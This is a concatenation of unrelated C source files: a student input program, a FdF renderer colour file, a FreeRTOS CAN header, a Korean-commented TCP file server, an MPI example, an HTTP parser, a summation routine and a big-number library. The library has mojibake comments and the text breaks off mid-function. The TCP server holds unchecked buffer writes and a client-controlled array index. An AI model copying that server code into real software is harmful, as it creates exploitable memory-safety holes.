printf("Masukkan Nim ke-8 = ");
scanf("%i", &nim[7]);
printf("Masukkan Nim ke-9 = ");
scanf("%i", &nim[8]);
printf("Masukkan Nim ke-10 = ");
scanf("%i", &nim[9]);
printf("Masukan Nim ke-11 =");
scanf("%i", &nim[10]);
printf("\nNilai 1 = %d",nim[0]);
printf("\nNilai 2 = %d",nim[1]);
printf("\nNilai 3 = %d",nim[2]);
printf("\nNilai 4 = %d",nim[3]);
printf("\nNilai 5 = %d",nim[4]);
printf("\nNilai 6 = %d",nim[5]);
printf("\nNilai 7 = %d",nim[6]);
printf("\nNilai 8 = %d",nim[7]);
printf("\nNilai 9 = %d",nim[8]);
printf("\nNilai 10 = %d",nim[9]);
printf("\nNilai 11 = %d",nim[10]);
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* fdf_color_info.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: grdalmas <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/04/18 18:51:04 by grdalmas #+# #+# */
/* Updated: 2018/04/25 16:58:54 by grdalmas ### ########.fr */
/* */
/* ************************************************************************** */
#include "../includes/fdf.h"
int locate_colors(t_env *e, int z)
{
double d;
d = e->dist_z / 10;
if (z >= e->min_z && z < (e->min_z + (d * 1)))
return (BLUE_W);
else if ((z >= e->min_z + (d)) && z < (e->min_z + (d * 2)))
return (YELLOW);
else if ((z >= e->min_z + (d * 2)) && z < (e->min_z + (d * 3)))
return (PALE_GREEN);
else if ((z >= e->min_z + (d * 3)) && z < (e->min_z + (d * 4)))
return (PALE_GREEN);
else if ((z >= e->min_z + (d * 4)) && z < (e->min_z + (d * 5)))
return (GREEN);
else if ((z >= e->min_z + (d * 5)) && z < (e->min_z + (d * 6)))
return (GREEN);
else if ((z >= e->min_z + (d * 6)) && z < (e->min_z + (d * 7)))
return (BROWN);
else if ((z >= e->min_z + (d * 7)) && z < (e->min_z + (d * 8)))
return (BROWN);
else if ((z >= e->min_z + (d * 8)) && z < (e->min_z + (d * 9)))
return (WHITE);
else if (z >= (e->min_z + (d * 9)) && z <= e->dist_z)
return (WHITE);
return (WHITE);
}
void color_put(t_env *e)
{
int y;
int x;
y = -1;
while (++y < e->max_y)
{
x = -1;
while (++x < e->max_x)
e->map[y][x].color_map = (locate_colors(e, e->map[y][x].z));
}
}
void info_panel2(t_env *e)
{
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 100, WHITE, e->string);
e->string = " * Press 8 to lower height *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 120, WHITE, e->string);
e->string = " * Press X to reverse z *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 140, WHITE, e->string);
e->string = " * Press Z to go back to origin z *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 160, WHITE, e->string);
e->string = " * Press O to reset origin *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 180, WHITE, e->string);
e->string = " * Press <- -> ^ or v to move *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 200, WHITE, e->string);
e->string = " * Press R to change iso *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 220, WHITE, e->string);
e->string = " * Press ESC to quit *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 240, WHITE, e->string);
e->string = " ***********************************";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 260, WHITE, e->string);
}
void info_panel(t_env *e)
{
e->string = "Information Panel : I";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1590, 5, WHITE, e->string);
if (e->ipanel > 0)
{
mlx_string_put(e->mlx_ptr, e->win_ptr, 1590, 5, WHITE, e->string);
e->string = "**********************************";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1590, 25, WHITE, e->string);
e->string = " * Press (+) to zoom in *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 40, WHITE, e->string);
e->string = " * Press (-) to zoom out *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 60, WHITE, e->string);
e->string = " * Press B for background change *";
mlx_string_put(e->mlx_ptr, e->win_ptr, 1565, 80, WHITE, e->string);
e->string = " * Press 5 to augment height *";
info_panel2(e);
}
}
|
C
|
#ifndef HI_H /* This is a preprocessor macro, it asks the preprocessor if HI_H \
is NOT defined */
#define HI_H /* Since it is not defined we define it */
/* We do this to prevent cyclical inclusion */
#include <stdio.h> /* This is a C library, this is equivalent to import in java */
char* say_hi(); /* This is a function prototype it defines the return type,
name, and arguments */
#endif /* HI_H - This is just the end of the if statement */
/* Journey on over to `src/main.c` for the next comments. */
|
C
|
/*
Author: Dr. Klaus Schaefer
Hochschule Darmstadt * University of Applied Sciences
[email protected]
http://kschaefer.eit.h-da.de
Modified By: Shepard Emerson, Carnegie Mellon Racing
Ported to ATmega64c1 and added comments
You can redistribute it and/or modify it under the terms of the GNU General
Public License. It is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE.
See http://www.gnu.org/copyleft/gpl.html for more details.
*/
#ifndef FRTOS_CAN_H
#define FRTOS_CAN_H
#include "can.h"
#include "FreeRTOS.h"
#include "queue.h"
#include "task.h"
#define CAN_DUMP_MOB 5
// Mailbox status for receive tasks
typedef struct MOB_STATUS_t {
uint8_t mob_num; // Number of this mailbox
void (*cbk)(CAN_packet p); // Callback function, this must take a CAN_packet
uint8_t cnt; // Generic counter variable
} MOB_STATUS;
// Global queue for all CAN packets (CAN dump)
extern xQueueHandle CANdumpQueue;
/* CAN Queue Create
* Call this function to create a FreeRTOS queue for CAN packet reception
* All packets matching the id / idmask pattern will be enqueued here.
* To get the packets simply use xQueueReceive(...)
* See: xQueueReceive(...)
* @param id CAN identifier
* @param id_mask CAN identifier mask
* @param uxQueueLength number of packets to buffer in queue
* @return handle of FreeRTOS queue of CAN packets
*/
xQueueHandle xCANQueueCreate(unsigned id, unsigned id_mask, portBASE_TYPE uxQueueLength, unsigned char mob);
/* Get free CAN mailbox
* Finds first unused CAN mailbox
* @return mailbox number, or -1 if none found
*/
int get_free_mob();
/* CAN Send
* Send a single CAN packet
* @param packet pointer to CAN packet to send
* @param mob CAN channel to use for this ID (use mob=14 13 12 ...)
* @param xTicksToWait maximum time before give up (timeout)
* @return TRUE on successful transmission, FALSE on timeout.
*/
portBASE_TYPE can_send(CAN_packet *p, unsigned mob, portTickType xTicksToWait);
/* CAN dump init
* Enable extra queue for reception of all packets
* All received packets can be examined using the FreeRTOS queue "CANdumpQueue"
* @param items buffer size (number of can packets)
*/
void can_dump_init(unsigned items);
#endif // FRTOS_CAN_H
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#include <time.h>
#define BUF_SIZE 2048
#define SERV_LIST "1. Get Current Time\n2. Download File\n3. Echo Server"
#define FILE_LIST "1. Book.txt\n2. HallymUniv.jpg\n3. Go back"
void error_handling(char * message);
void voidBuffer(int s);
int main(int argc, char * argv[])
{
int serv_sock, clnt_sock;
char message[BUF_SIZE];
char service_list[99];
char *file_list[9] = {"Book.txt","HallymUniv.jpg"};
int str_len, i;
struct sockaddr_in serv_adr, clnt_adr;
socklen_t clnt_adr_sz;
char temp;
char list_num[9];
int num;
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
FILE * file;
if(argc != 2)
{
printf("Usage : %s <port>\n", argv[0]);
exit(1);
}
serv_sock = socket(AF_INET, SOCK_STREAM, 0);
if(serv_sock == -1)
error_handling("socket() error");
memset(&serv_adr, 0, sizeof(serv_adr));
serv_adr.sin_family = AF_INET;
serv_adr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_adr.sin_port = htons(atoi(argv[1]));
if(bind(serv_sock, (struct sockaddr*)&serv_adr, sizeof(serv_adr)) == -1 )
error_handling("bind() error");
if(listen(serv_sock , 5) == -1)
error_handling("listen() error");
clnt_adr_sz = sizeof(clnt_adr);
while(1){
clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_adr, &clnt_adr_sz);
if(clnt_sock == -1)
error_handling("accept() error");
else
printf("Connected client\n");
while(1){
strcpy(message,SERV_LIST);
send(clnt_sock,message, strlen(message),0); // 서버 서비스 리트스 전송
str_len = recv(clnt_sock,message,BUF_SIZE,0); // 서비스 번호 받기
message[str_len] = 0;
//fputs(message,stdout); // 테스트용 출력
if(!strcmp(message,"\\service 1")) // service 1 시간 반환
{
time(&rawtime);
timeinfo = localtime(&rawtime);
//printf("%s", asctime(timeinfo)); // 테스트용 출력
strcpy(message,"[Current Time]\n");
strcat(message,asctime(timeinfo));
send(clnt_sock,message,strlen(message),0); // 시간 전송
recv(clnt_sock,message,BUF_SIZE,0); // 시간 전송후 다음 메세지를 또보내지않기위한 recv
}else if(!strcmp(message,"\\service 2")) // Download file
{
while(1){
strcpy(message,"[Available File List]\n");
strcat(message,FILE_LIST);
send(clnt_sock, message,strlen(message),0); // 파일 리스트 보내기
printf("send file List\n");
str_len = recv(clnt_sock, message, BUF_SIZE,0); // 버퍼 오류
printf("[reciv : %s size : %d\n",message,str_len); // 받는 데이터 확인
/*
while(str_len != 0){
str_len = recv(clnt_sock,message,BUF_SIZE,0);
printf("[%d]",str_len);
}
*/
message[str_len] = 0;
printf("reciv : %s size : %d\n",message,strlen(message)); // 받는 데이터 확인
strcpy(list_num,message);
if(atoi(list_num) == 3){ // 3 번들어오면 나가리
printf("잘나가니??");
break;
}
i = atoi(list_num) - 1;
file = fopen(file_list[i],"rb"); // 입력한 파일 오픈
printf("file[%s] open\n",file_list[i]); // 테스트용 출력
//printf("%d",i);
printf("%s]\n",file_list[i]);
strcpy(message,file_list[i]);
printf("%s] %d\n",message,sizeof(message));
//send(clnt_sock,file_list[atoi(message) -1],strlen(file_list[atoi(message) - 1]) , 0); // 파일이름 보내기
send(clnt_sock,message,strlen(message),0); //파일 명 전송
printf("send : %s\nsize : %d\n",message,strlen(message));
recv(clnt_sock,&temp,BUF_SIZE,0); // 파일 전송전 동기화를 위한 recv
if(file == NULL)
error_handling("fopen() error");
while(1) // 파일 전송 과정
{
i = fread((void*)message,1,BUF_SIZE-1,file); // -1
message[i] = 0;
// printf("[%s]",message);
if(i < BUF_SIZE-1) //-1
{
//printf("[%s]",message);
if(feof(file) != 0)
{
//usleep(1000);
send(clnt_sock,message,i,0); //-1
//recv(clnt_sock, message,BUF_SIZE,0); // 동기화를 위한 recv
puts("file send complete!!\n");
break;
}else
puts("fail to send file\n");
break;
}
//usleep(1000);
send(clnt_sock, message,BUF_SIZE-1,0); // -1
recv(clnt_sock, &temp,BUF_SIZE,0); //동기화를 위한 recv
//message[i] = 0;
//printf("[%s]",message);
}
fclose(file);
//voidBuffer(clnt_sock); // 버퍼 지우기
recv(clnt_sock,&temp,BUF_SIZE,0); // 파일 수신 완료후 동기화
//recv(clnt_sock,&temp,BUF_SIZE,0);
};
}else if(!strcmp(message,"\\service 3")) // ECHO server
{
printf("ECHO server \n");
while((str_len = recv(clnt_sock, message, BUF_SIZE,0)) != 0){
message[str_len] = 0;
printf("recv from client : %s\n",message);
if(!strcmp(message,"\\quit\n")){
printf("quit echo server \n");
break;
}
send(clnt_sock,message,str_len,0);
}
//str_len = recv
}
} // while(1) 서비스 반복용
} // while(1) client테스트용
close(clnt_sock);
close(serv_sock);
}
/*
void voidBuffer(int s){
u_long tmpl,i;
char tmpc;
ioctlsocket(s,FIONREAD,&tmpl);
for(i = 0;i<tmpl;i++) recv(s,&tmpc,sizeof(char),0);
}
*/
void error_handling(char * message)
{
fputs(message,stderr);
fputc('\n',stderr);
exit(1);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mpi.h>
#define N 6
void err_handler(MPI_Comm * comm, int * err_code, ...)
{
int resultlen;
char err_string[MPI_MAX_ERROR_STRING];
MPI_Error_string(*err_code, err_string, &resultlen);
printf("MPI exception caughted: error code %d\n", *err_code);
printf("\terror: %s\n", err_string);
MPI_Abort(*comm, *err_code);
}
int main(int argc, char * argv[])
{
int i = 0, j, rank, n_rank;
int * buffer;
MPI_Group group, root_group, else_group;
MPI_Win window;
MPI_Errhandler errhdl;
MPI_Init(&argc, &argv);
MPI_Errhandler_create(&err_handler, &errhdl);
MPI_Errhandler_set(MPI_COMM_WORLD, errhdl);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &n_rank);
MPI_Comm_group(MPI_COMM_WORLD, &group);
MPI_Group_incl(group, 1, &i, &root_group);
MPI_Group_difference(group, root_group, &else_group);
if (rank == 0) {
buffer = (int *)calloc(N*(n_rank - 1), sizeof(int));
MPI_Win_create(buffer, N*(n_rank - 1)*sizeof(int), sizeof(int), MPI_INFO_NULL,
MPI_COMM_WORLD, &window);
MPI_Win_post(else_group, 0, window);
MPI_Win_wait(window);
for (j = 1;j < n_rank;j ++) {
printf("rank %d: the data put by rank %d is as\n", rank, j);
for (i = 0;i < N;i ++) {
printf("%d\t", buffer[(j - 1)*N + i]);
}
printf("\n");
}
}
else {
buffer = (int *)calloc(N, sizeof(int));
for (i = 0;i < N;i ++)
buffer[i] = (rank - 1)*n_rank + i;
MPI_Win_create(buffer, 0, sizeof(int), MPI_INFO_NULL,
MPI_COMM_WORLD, &window);
MPI_Win_start(root_group, 0, window);
MPI_Put(buffer, N, MPI_INT, // data to be put
0, // window of this rank
(rank - 1)*N/2, N, MPI_INT, // where the data to be put
window);
MPI_Win_complete(window);
}
MPI_Win_free(&window);
MPI_Group_free(&group);
MPI_Group_free(&root_group);
MPI_Group_free(&else_group);
free(buffer);
MPI_Errhandler_free(&errhdl);
MPI_Finalize();
return 0;
}
|
C
|
#include "httpRequest.h"
#include "../shared/helpers.h"
#include <stdlib.h>
#include <string.h>
void httpRequestInit(httpRequest *const __RESTRICT__ request){
request->methodStart = NULL;
request->methodLength = 0;
request->targetStart = NULL;
request->targetLength = 0;
request->headersStart = NULL;
request->headersLength = 0;
request->contentTypeStart = NULL;
request->contentTypeLength = 0;
request->contentStart = NULL;
request->contentLength = 0;
}
return_t httpRequestValid(httpRequest *const __RESTRICT__ request, char *const str, const size_t strLength){
// Check if a request is valid, storing the type and target.
// Returns 0 on failure or the character we reached if successful.
char *tokStart = str;
size_t tokLength;
httpRequestInit(request);
// Get the type.
if(tokStart >= str+strLength){
return 0;
}else{
tokLength = tokenLength(tokStart, strLength - (tokStart - str), " ");
if(tokLength == 4 && memcmp(tokStart, "POST", 4) == 0){
request->methodStart = tokStart;
request->methodLength = 4;
}else if(tokLength == 3 && memcmp(tokStart, "GET", 3) == 0){
request->methodStart = tokStart;
request->methodLength = 3;
}else{
return 0;
}
tokStart += tokLength + 1;
}
// Get the target.
if(tokStart >= str+strLength){
return 0;
}else{
tokLength = tokenLength(tokStart, strLength - (tokStart - str), " ");
request->targetStart = tokStart;
request->targetLength = tokLength;
tokStart += tokLength + 1;
}
// Get the version.
if(
tokStart >= str+strLength &&
(
tokLength = tokenLength(tokStart, strLength - (tokStart - str), " \r\n"),
memcmp(tokStart, "HTTP/1.1", 8) != 0
)
){
return 0;
}else{
tokStart += 10;
request->headersStart = tokStart;
}
// Get the headers.
while(tokStart < str+strLength){
tokLength = tokenLength(tokStart, strLength - (tokStart - str), "\r\n");
if(request->methodLength == 4){
if(tokLength > 14 && strncasecmp(tokStart, "content", 7) == 0){
// Content type and length.
if(strncasecmp(tokStart + 7, "-type: ", 7) == 0){
request->contentTypeStart = tokStart + 14;
request->contentTypeLength = tokLength - 14;
}else if(tokLength > 16 && strncasecmp(tokStart + 7, "-length: ", 9) == 0){
request->contentLength = strtol(tokStart + 16, NULL, 10);
}
}
}
if(tokLength == 0){
request->headersLength = tokStart - request->headersStart - 2;
if(request->contentLength > 0){
// Make sure we skip trailing CRLF characters.
request->contentStart = tokStart + 2;
}
return 1;
}
// Make sure we skip trailing CRLF characters.
tokStart += tokLength + 2;
}
return 0;
}
char *httpRequestFindHeader(httpRequest *const __RESTRICT__ request, char *const start, const char *const __RESTRICT__ header, const size_t headerLength, size_t *const __RESTRICT__ length){
// Find a HTTP header in a request.
char *const strStart = start > request->headersStart ? start : request->headersStart;
const size_t strLength = request->headersLength - (strStart - request->headersStart);
char *tokStart = strStart;
size_t tokLength;
// Get the headers.
while(tokStart < strStart+strLength){
tokLength = tokenLength(tokStart, strLength - (tokStart - strStart), "\r\n");
if(tokLength > headerLength+2 && strncasecmp(tokStart, header, headerLength) == 0 && memcmp(tokStart+headerLength, ": ", 2) == 0){
if(length != NULL){
*length = tokLength - headerLength - 2;
}
return tokStart + headerLength + 2;
}
// Make sure we skip trailing CRLF characters.
tokStart += tokLength + 2;
}
return NULL;
}
|
C
|
#include <math.h>
#define SC_STACK 48
// max bits = 1023 - (-1074) + 1 = 2098
// SC_STACK > ceil(2098/53) = 40 doubles
typedef struct {
int last;
double p[SC_STACK];
} sc_partials;
void sc_init(sc_partials *sum)
{
sum->p[sum->last = 0] = 0.0;
}
void sc_iadd(sc_partials *sum, double x)
{
int i=0, n=sum->last;
double y, hi, lo;
for(int j=0; j <= n; j++) {
y = sum->p[j];
hi = x + y;
#ifdef SC_BRANCH
lo = (fabs(x) < fabs(y)) ? x - (hi - y) : y - (hi - x);
#else
lo = hi - x;
lo = (y - lo) + (x - (hi - lo));
#endif
x = hi;
if (lo) sum->p[i++] = lo; // save partials
}
if (x - x != 0) {sum->p[ sum->last = 0 ] = x; return;}
sum->p[ sum->last = i ] = x;
if (i <= n && i != SC_STACK-1) return;
for(n=i-1; n>0; ) { // stack expanded or full
x = sum->p[n];
y = sum->p[n-1];
sum->p[n--] = hi = x+y;
sum->p[n--] = y - (hi-x); // possibly 0
}
if (i == SC_STACK-1) sc_iadd(sum, 0.0);
}
double sc_total(sc_partials *sum)
{
int i = sum->last;
if (i == 0) return sum->p[0];
double lo, hi, x = sum->p[i];
do {
lo = sum->p[--i]; // sum in reverse
hi = x + lo;
lo -= (hi - x);
x = hi;
} while (i && lo == 0);
if (i && (hi = x + (lo *= 2), lo == (hi - x))) {
double z = i==1 ? sum->p[0] : sum->p[i-1] + sum->p[i-2];
if ((lo < 0) == (z < 0) && z) return hi;
}
return x;
}
|
C
|
// Файл bn_yaremus.c
//#include "bn.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <string.h>
//
struct bn_s;
typedef struct bn_s bn;
enum bn_codes {
BN_OK, BN_NULL_OBJECT, BN_NO_MEMORY, BN_DIVIDE_BY_ZERO
};
bn* bn_new(); // Со�дат� новое BN
bn* bn_init(bn const* orig); // Со�дат� копи� существу�щего BN
// Инициали�ироват� �начение BN дес�тичным представлением строки
int bn_init_string(bn* t, const char* init_string);
// Инициали�ироват� �начение BN представлением строки
// в системе счислени� radix
int bn_init_string_radix(bn* t, const char* init_string, int radix);
int bn_init_int(bn* t, int init_int);
// Уничто�ит� BN (освободит� пам�т�)
int bn_delete(bn* t);
// Операции, аналогичные +=, -=, *=, /=, %=
int bn_add_to(bn* t, bn const* right);
int bn_sub_to(bn* t, bn const* right);
int bn_mul_to(bn* t, bn const* right);
int bn_div_to(bn* t, bn const* right);
int bn_mod_to(bn* t, bn const* right);
// Во�вести число в степен� degree
int bn_pow_to(bn* t, int degree);
// И�влеч� корен� степени reciprocal и� BN (бонусна� функци�)
int bn_root_to(bn* t, int reciprocal);
// Аналоги операций x = l+r (l-r, l*r, l/r, l%r)
bn* bn_add(bn const* left, bn const* right);
bn* bn_sub(bn const* left, bn const* right);
bn* bn_mul(bn const* left, bn const* right);
bn* bn_div(bn const* left, bn const* right);
bn* bn_mod(bn const* left, bn const* right);
// Выдат� представление BN в системе счислени� radix в виде строки
// Строку после испол��овани� потребуетс� удалит�.
const char* bn_to_string(bn const* t, int radix);
// Если левое мен�ше, вернут� <0; если равны, вернут� 0; иначе >0
int bn_cmp(bn const* left, bn const* right);
// Если модуль левого меньше, вернуть -1, если равны, вернуть 0, иначе 1
int bn_cmp_abs(bn const* left, bn const* right);
int bn_neg(bn* t); // И�менит� �нак на противополо�ный
int bn_abs(bn* t); // В��т� модул�
int bn_sign(bn const* t); //-1 если t<0; 0 если t = 0, 1 если t>0
//
#define max(a, b) ((a) > (b) ? (a) : (b))
const int base = 1000000000;
struct bn_s {
int* body; // Тело бол�шого числа
int size; // Ра�мер массива body
int sign; //0 �нак числа
int allocated; //сколько памяти выделено sizeof(int)
};
int bn_realloc(bn* t,int size) {
t->allocated = (int)sizeof(int) * size * 2;
t->body = (int*)realloc(t->body, t->allocated);
if (t->body == NULL) {
free(t);
return BN_NO_MEMORY;
}
for (int i = t->size; i < (int)(t->allocated / sizeof(int)); i++) {
t->body[i] = 0;
}
return 0;
}
// Со�дат� новое BN
bn* bn_new() {
bn* r = malloc(sizeof(bn));
if (r == NULL) return NULL;
r->size = 1;
r->sign = 0;
r->allocated = (int)sizeof(int) * r->size * 2;
r->body = (int*)malloc(r->allocated);
if (r->body == NULL) {
free(r);
return NULL;
}
r->body[0] = 0;
r->body[1] = 0;
return r;
}
// Со�дат� копи� существу�щего BN
bn* bn_init(bn const* orig) {
bn* B = malloc(sizeof(bn));
if (B == NULL) return NULL;
B->allocated = orig->allocated;
B->body = malloc(orig->allocated);
if (B->body == NULL) {
free(B);
return NULL;
}
B->sign = orig->sign;
B->size = orig->size;
for (int i = 0; i < (int)(orig->allocated/sizeof(int)); i++) {
B->body[i] = orig->body[i];
}
return B;
}
int bn_normalize(bn *t) {
if (t->body[0] == 0 && t->size == 1) {
t->sign = 0;
return 0;
}
int i = 0;
while (t->body[(int)(t->allocated/sizeof(int)) - i - 1] == 0 && i < (int)(t->allocated/sizeof(int))) i++;
t->size = (int)(t->allocated/sizeof(int)) - i;
bn_realloc(t, t->size);
if ((int)(t->allocated/sizeof(int) > t->size)) {
for (int i = t->size; i < (int) (t->allocated / sizeof(int)); i++) {
t->body[i] = 0;
}
}
return 0;
}
int bn_neg(bn* t) {
if (t->sign == 0) {
return 0;
}
t->sign *= -1;
return 0;
}
int bn_abs(bn* t) {
if (t->sign == 0) {
return 0;
}
t->sign = 1;
return 0;
}
int bn_sign(bn const* t){
if (t == NULL) return BN_NULL_OBJECT;
return t->sign;
}
int bn_copy(bn* t, bn const * f) {
t->allocated = f->allocated;
t->body = (int*)realloc(t->body, f->allocated);
t->size = f->size;
t->sign = f->sign;
if (t->body == NULL) return BN_NO_MEMORY;
for (int i = 0; i < (int)(t->allocated/sizeof(int)); i++) {
t->body[i] = f->body[i];
}
return 0;
}
//Инициали�ироват� �начение BN дес�тичным представлением строки
int bn_init_string(bn* t, const char* init_string) {
if (t == NULL) return BN_NULL_OBJECT;
if (init_string == NULL) return BN_NULL_OBJECT;
int str_len = (int)strlen(init_string);//длина строки
// инициализация знака, размера числа и вычисление длины используемой строки
if (*init_string == '-') {
t->sign = -1;
init_string++;
str_len--;
}
else if (*init_string == '0' && str_len == 1) {
t->size = 1;
t->sign = 0;
t->allocated = (int)sizeof(int) * t->size * 2;
if (t->body != NULL) free(t->body);
t->body = malloc(t->allocated);
if (t->body == NULL) return BN_NULL_OBJECT;
t->body[0] = 0;
return 0;
}
else {
t->sign = 1;
}
t->size = (int)((str_len + 8) / 9);
int body = 0;
// заполнение body
bn_realloc(t, t->size);
char temp[10] = {};
for (int i = str_len - 1; i >= 0; i -= 9) {
if (i >= 9) {
for (int j = 0; j < 9; j++) {
temp[j] = init_string[i - 8 + j];
}
temp[9] = '\0';
t->body[body++] = (int)strtol(temp, NULL, 10);
}
else {
int j = 0;
while (j < i + 1) {
temp[j] = init_string[j];
j++;
}
if (j < 9) {
temp[j] = '\0';
}
temp[j] = '\0';
t->body[body++] = (int)strtol(temp, NULL, 10);
}
}
bn_normalize(t);
return 0;
}
void bn_vivod_dec(bn* t) {
printf("body:%d", t->body[t->size - 1]);
for (int i = 1; i < t->size; i++) {
printf("%09d", t->body[t->size - i - 1]);
}
printf("\nbodysize: %d", t->size);
printf("\nsign: %d", t->sign);
printf("\nallocated: %d\n", t->allocated);
}
void bn_vivod(bn* t) {
printf("body:");
for (int i = 0; i < t->size; i++) {
printf("%d.", t->body[i]);
}
printf("\nbodysize: %d", t->size);
printf("\nsign: %d", t->sign);
printf("\nallocated: %d\n", t->allocated);
}
int bn_init_int(bn* t, int init_int) {
//орпеделение знака
if (init_int < 0) {
t->sign = -1;
}
else if (init_int == 0) {
t->size = 1;
t->sign = 0;
t->allocated = (int)sizeof(int) * t->size * 2;
t->body = (int*)realloc(t->body, t->allocated);
if (t->body == NULL) return BN_NULL_OBJECT;
t->body[0] = 0;
return 0;
}
else {
t->sign = 1;
}
int num = init_int;
int iter = 0;
while (num != 0) {
num = num / 10;
iter++;
}
t->size = ((iter + 8) / 9);
int i = 0;
bn_realloc(t, t->size);
while (init_int != 0) {
t->body[i++] = abs(init_int % base);
init_int = (int)(init_int / base);
}
bn_normalize(t);
return 0;
}
int bn_delete(bn* t) {
if (t == NULL) return BN_NULL_OBJECT;
free(t->body);
free(t);
return 0;
}
int bn_cmp(bn const* left, bn const* right) {
if (left->sign > right->sign) return 1;
else if (left->sign < right->sign) return -1;
else if (left->sign == 0) return 0;
if (left->size > right->size) return left->sign;
else if (left->size < right->size) return (-1) * left->sign;
int i = 0;
while (i != left->size) {
if (left->body[left->size - 1 - i] > right->body[right->size - 1 - i]) return left->sign;
else if (left->body[left->size - 1 - i] < right->body[right->size - 1 - i]) return (-1) * left->sign;
i++;
}
return 0;
}
int bn_cmp_abs(bn const* left, bn const* right) {
if (left->size > right->size) return 1;
else if (left->size < right->size) return -1;
int i = 0;
while (i != left->size) {
if (left->body[left->size - 1 - i] > right->body[right->size - 1 - i]) return 1;
else if (left->body[left->size - 1 - i] < right->body[right->size - 1 - i]) return -1;
i++;
}
return 0;
}
int bn_add_to_abs(bn* t, bn const* right) {
int maxx = max(t->size, right->size);
int c = 0;
int dobavka = 0;
if (t->allocated <= (sizeof(int) * maxx)) {
bn_realloc(t, maxx);
}
for (int i = 0; (i < right->size) || c; i++) {
if (i == t->size) t->size++;
if (i < right->size) dobavka = right->body[i];
else dobavka = 0;
t->body[i] += c + dobavka;
c = (int)t->body[i] / base;
if (c == 1) t->body[i] -= base;
}
bn_normalize(t);
return 0;
}
int bn_sub_to_abs(bn* t, bn const* right) {
int maxx = max(t->size, right->size);
int c = 0;
int dobavka = 0;
if (t->allocated < (int)(sizeof(int) * maxx)) {
bn_realloc(t, maxx);
}
int f = bn_cmp_abs(t, right);
if (f == 0) {
t->allocated = (int)sizeof(int) * 2;
t->body = (int*)realloc(t->body, t->allocated);
t->body[0] = 0;
t->body[1] = 0;
t->sign = 0;
t->size = 1;
return 0;
} else if (f == 1) {
for (int i = 0; i < right->size || c ; i++) {
if (i < right->size) dobavka = right->body[i];
else dobavka = 0;
t->body[i] -= (dobavka + c);
c = t->body[i] < 0;
if (c) t->body[i] += base;
}
} else {
int raz = 0;
for (int i = 0; i < t->size || c ; i++) {
if (i < t->size) dobavka = t->body[i];
else dobavka = 0;
t->body[i] = right->body[i] - (dobavka + c);
c = t->body[i] < 0;
if (c) t->body[i] += base;
if (i >= t->size) raz++;
}
for (int i = t->size + raz; i < right->size; i++) {
t->body[i] = right->body[i];
t->size++;
}
}
bn_normalize(t);
return 0;
}
int bn_add_to(bn* t, bn const* right) {
if (t->sign == 0) {
bn_copy(t, right);
return 0;
}
if (right->sign == 0) return 0;
if (t->sign * right->sign == 1) {
bn_add_to_abs(t, right);
bn_normalize(t);
return 0;
}
t->sign = bn_cmp(t, right) * bn_cmp_abs(t, right);
bn_sub_to_abs(t, right);
bn_normalize(t);
return 0;
}
bn* bn_add(bn const* left, bn const* right) {
bn* res = bn_new();
if (left->sign == 0 || right->sign == 0) {
bn_copy(res, left->sign == 0 ? right : left);
}
else if (left->sign * right->sign == 1) {
bn_add_to_abs(res, left);
bn_add_to_abs(res, right);
res->sign = left->sign;
}
else {
bn_add_to_abs(res, left);
bn_sub_to_abs(res, right);
res->sign = bn_cmp(left, right) * bn_cmp_abs(left, right);
}
bn_normalize(res);
return res;
}
int bn_sub_to(bn* t, bn const* right) {
if (t->sign == 0) {
bn_copy(t, right);
t->sign = right->sign*(-1);
return 0;
}
if (right->sign == 0) return 0;
if (t->sign * right->sign == 1) {
t->sign = right->sign * bn_cmp_abs(t, right);
bn_sub_to_abs(t, right);
bn_normalize(t);
return 0;
}
bn_add_to_abs(t, right);
bn_normalize(t);
return 0;
}
bn* bn_sub(bn const* left, bn const* right) {
bn* res = bn_new();
if (left->sign == 0 || right->sign == 0) {
bn_copy(res, left->sign == 0 ? right : left);
res->sign = left->sign == 0 ? right->sign * (-1) : left->sign;
}
else if (left->sign * right->sign == 1) {
bn_add_to_abs(res, left);
bn_sub_to_abs(res, right);
res->sign = right->sign * bn_cmp_abs(left, right);
}
else {
bn_add_to_abs(res, left);
bn_add_to_abs(res, right);
res->sign = left->sign;
}
bn_normalize(res);
return res;
}
int bn_input(bn* t) {
int size = 256;
char* ch = malloc(sizeof(char)*size);
int i = 0;
while((ch[i]=(char)getchar()) != '\n') {
if (i == size - 1) {
size *= 2;
ch = (char*)realloc(ch, sizeof(char) * size);
}
i++;
}
ch[i] = '\0'; /* добавление нулевого символа */
bn_init_string(t, ch);
bn_normalize(t);
free(ch);
return 0;
}
int bn_add_long(bn* t, long ch, int s) {
int c = 0;
long slag = ch;
long temp = 0;
for (int i = s; c != 0 || slag != 0; i++) {
temp = t->body[i] + slag % base + c;
t->body[i] = (int)(temp % base);
slag /= base;
c = (int)(temp / base);
}
return 0;
}
int bn_mul_to(bn* t, bn const* right) {
